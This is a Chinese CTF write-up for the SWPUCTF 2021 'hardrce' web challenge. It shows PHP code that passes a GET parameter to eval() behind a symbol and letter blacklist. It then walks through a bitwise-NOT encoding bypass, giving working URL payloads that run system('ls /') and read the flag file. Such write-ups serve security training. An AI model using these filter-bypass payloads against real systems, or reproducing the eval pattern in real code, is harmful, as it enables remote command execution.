首页 > 其他分享 >[SWPUCTF 2021 新生赛]hardrce

[SWPUCTF 2021 新生赛]hardrce

时间:2023-08-20 23:15:01浏览次数:46  
标签:SWPUCTF wllm 8C% 9E% 取反 93% 2021 hardrce 98%

[SWPUCTF 2021 新生赛]hardrce

题目来源:nssctf

题目类型:web

涉及考点:rec

1. 上来直接代码审计

<?php
header("Content-Type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['wllm']))
{
    $wllm = $_GET['wllm'];
    $blacklist = [' ','\t','\r','\n','\+','\[','\^','\]','\"','\-','\$','\*','\?','\<','\>','\=','\`',];
    foreach ($blacklist as $blackitem)
    {
        if (preg_match('/' . $blackitem . '/m', $wllm)) {
        die("LTLT说不能用这些奇奇怪怪的符号哦!");
    }}
if(preg_match('/[a-zA-Z]/is',$wllm))
{
    die("Ra's Al Ghul说不能用字母哦!");
}
echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";
eval($wllm);
}
else
{
    echo "蔡总说:注意审题!!!";
}
?>

代码给了一个黑名单,过滤了一系列字符,其中包括异或,且过滤了所有字母,这时候就涉及无字母RCE绕过了

具体知识点见:老生常谈的无字母数字 Webshell 总结 (侵删!!)

总之,题目没有过滤 | 以及~,我们可以考虑使用 或 操作或者 取反 操作,这里使用取反

2. 构造payload

我们首先对一串代码进行取反,然后再进行url编码,在发送请求的时候将其再次取反即可。因为取反之后基本都是不可见字符,所以基本上不会被正则匹配到

  • 我们先构造system('ls /'),因为没有过滤括号,我们只对括号内外分别取反再编码再取反即可:
?wllm=~(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);
  • 再构造cat /flllllaaaaaaggggggg
?wllm=~(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98);

获得flag:

NSSCTF{f39d8cd5-9eda-4197-a229-d065c0274e04}

日期:2023.8.20

作者:y0Zero

标签:SWPUCTF,wllm,8C%,9E%,取反,93%,2021,hardrce,98%
From: https://www.cnblogs.com/bkofyZ/p/17644820.html

相关文章

  • 在 win10 2021 LTSC 上安装配置 wsl2 和 ubuntu
    在win102021LTSC上安装配置wsl2和ubuntu的过程:win10系统启用wsl2:wsl--install----no-distribution(安装wsl2,会自动打开系统feature:wsl子系统,虚拟机平台.不再需要去控制面板--启用windows特性)设置wsl默认版本为wsl2:wsl--set-defa......
  • [SWPUCTF 2021 新生赛]error
    [SWPUCTF2021新生赛]error题目来源:nssctf题目类型:web涉及考点:SQL注入1.题目给了一个输入框,随便传点东西通过上面三次传入,我们可以判断闭合类型为单引号闭合发现没有回显位,但有报错提示,因此尝试报错注入2.extractValue()报错注入爆库名1'unionselect1,ext......
  • nacos权限绕过漏洞(CVE-2021-29441)修复过程
    1、开启服务身份识别功能修改nacos的application.properties配置文件nacos.core.auth.enabled=true,2、重启nacos进入nacos下的bin目录单机模式shstartup.sh-mstandalone集群shstartup.shNacos3、注册及配置中心开启权限认证,所有服务都要改重新发版......
  • GitHub: remote:Support for password authentication was removed on August 13,2021
    使用gitpushoriginmaster向远程仓库推送时被告知:remote:SupportforpasswordauthenticationwasremovedonAugust13,2021.Pleaseuseapersonalaccesstokeninstead.ush的时候需要输入github的账户名和密码,而这里的大概意思就是密码验证在2021年8月13号被移除了,需要......
  • Apache HTTPd RCE漏洞复现(cve-2021-41773)
    0x01漏洞简介:      ApacheHTTPd是Apache基金会开源的一款流行的HTTP服务器。在ApacheHTTPd2.4.49版本中,存在一个路径穿越漏洞。在配置了Requireallgranted后,攻击者可利用路径穿越漏洞读取到Web目录之外的其他文件,比如/etc/passwd文件。同时若ApacheHTTPd开启了......
  • 【专题】2021 年中国电力行业经济运行报告PDF合集分享(附原数据表)
    原文链接:https://tecdat.cn/?p=33446报告合集根据实践创新,我们提出了“云上新型电力系统”,该系统将加速电力流、信息流和价值流的融通流动,通过更灵活高效的能源资源优化配置平台,支持大规模的新能源开发和利用。这一系统将为电力业务创新、电力行业发展以及全社会的绿色生产和生活......
  • 2021 ICPC 上海 DEHI
    2021ICPC上海DEHI链接:The2021ICPCAsiaShanghaiRegionalProgrammingContestD.StrangeFractions题意:给你\(p,q\),让你找正整数\(a,b\),使得\(\dfrac{p}{q}=\dfrac{a}{b}+\dfrac{b}{a}\)。如果不存在,输出\(0\)\(0\)。思路:简单数学。推柿子+\(\gcd\)因为有\(\dfrac{......
  • [蓝桥杯 2021 省 B] 双向排序 (线段树)
    调了整整5个小时,结果发现自己建树的方式有误,气死我了气死我了,比较好的一道线段树(虽然我不会-----#include<bits/stdc++.h>usingnamespacestd;constintN=1e6+10;intn,m,res,point;vector<int>v[2];//用于存储结果的数组,下标0表示sum为0,下标1表示sum为1structno......
  • CorelCAD中文版下载-CorelCAD 2021(CAD设计工具) 官方版特色
    CorelCAD是一款CAD软件,可以帮助用户设计和绘制2D和3D图形。它提供了许多功能和工具,包括绘图、编辑、注释、测量和布局等。CorelCAD支持多种文件格式,包括DWG、DXF、DWF和PDF等,可以与其他CAD软件进行互操作。此外,CorelCAD还提供了一些高级功能,例如3D建模、渲染、动画和脚本等,可帮助用......
  • 「题解注释」P7518 [省选联考 2021 A/B 卷] 宝石
    联合省选2021宝石题解-hezlik的博客-洛谷博客(luogu.com.cn)耗时:一晚上+半个上午代码注释:#include<bits/stdc++.h>usingnamespacestd;constintN=500000,C=21;intRi(){intx=0,y=1;charc=getchar();for(;c<'0'||c>'9';c=getchar())if......